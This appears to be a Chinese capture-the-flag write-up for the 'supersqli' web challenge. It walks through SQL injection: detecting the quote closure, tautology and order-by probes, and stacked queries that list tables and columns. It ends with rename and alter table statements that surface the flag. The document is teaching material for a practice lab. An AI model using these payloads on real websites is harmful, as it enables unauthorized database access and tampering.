WEB:supersqli(多解)

背景知识

        sql注入

        堆叠注入

题目

WEB:supersqli(多解)_第1张图片

输入款默认1,先输入1,页面正常显示

WEB:supersqli(多解)_第2张图片

再输入1',显示报错

WEB:supersqli(多解)_第3张图片

加上注释符号#或者--+或者%23(注释掉后面语句,使1后面的单引号与前面的单引号成功匹配就不会报错)页面回显正常,那么闭合符号就是单引号。

输入 1#

WEB:supersqli(多解)_第4张图片 

判断类型,查询1 and 1=1 和1 and 1=2,发现两次提交后页面一样,可以判断出为字符型注入漏洞; 

使用万能注入语句

1' or 1=1#

 WEB:supersqli(多解)_第5张图片

回显不正常,存在注入

判断列数

1' order by 2#     // 回显正常

1' order by 3#     // 会报错,说明只有两列

WEB:supersqli(多解)_第6张图片

 尝试联合查询

1' union select 1,2#

WEB:supersqli(多解)_第7张图片

发现过滤了很多函数,select不能用 

尝试堆叠注入

  1. 先看数据库
1'; show databases;#

WEB:supersqli(多解)_第8张图片         2. 查表名

1'; show tables;#
or
1';use supersqli;show tables;#

WEB:supersqli(多解)_第9张图片

         3. 查列名

查询表中的列,表名需要使用反单引号引起来,在windows系统下,反单引号(`)是数据库、表、索引、列和别名的引用符。

1'; show columns from `words`;#

WEB:supersqli(多解)_第10张图片

1';use supersqli;show columns from `1919810931114514`;#

WEB:supersqli(多解)_第11张图片

下一步应该是select flag from `1919810931114514`,但是select被过滤

查询word列发现结构大致相同,由于注入框的查询是对列id的搜索,此时参考两个表的列名,需要将flag列名改为能够查找的id列(修改包括名称和数据类型)。

过滤中并没有alert 和 rename,我们已经知道了words是用来回显内容的,我们把1919810931114514这个表更改名字为words,并增加相应的字段,使之回显原1919810931114514这个表的内容。

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
or
1';rename table `words` to `words1`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100) ;show columns from words;#

 再用万能语句,得到flag

1' or 1=1#

WEB:supersqli(多解)_第12张图片

 参考文章链接:

攻防世界——supersqli_Shock397的博客-CSDN博客

supersqli(SQL注入流程及常用SQL语句)_kali-Myon的博客-CSDN博客

你可能感兴趣的:(攻防世界,安全,web安全,网络安全)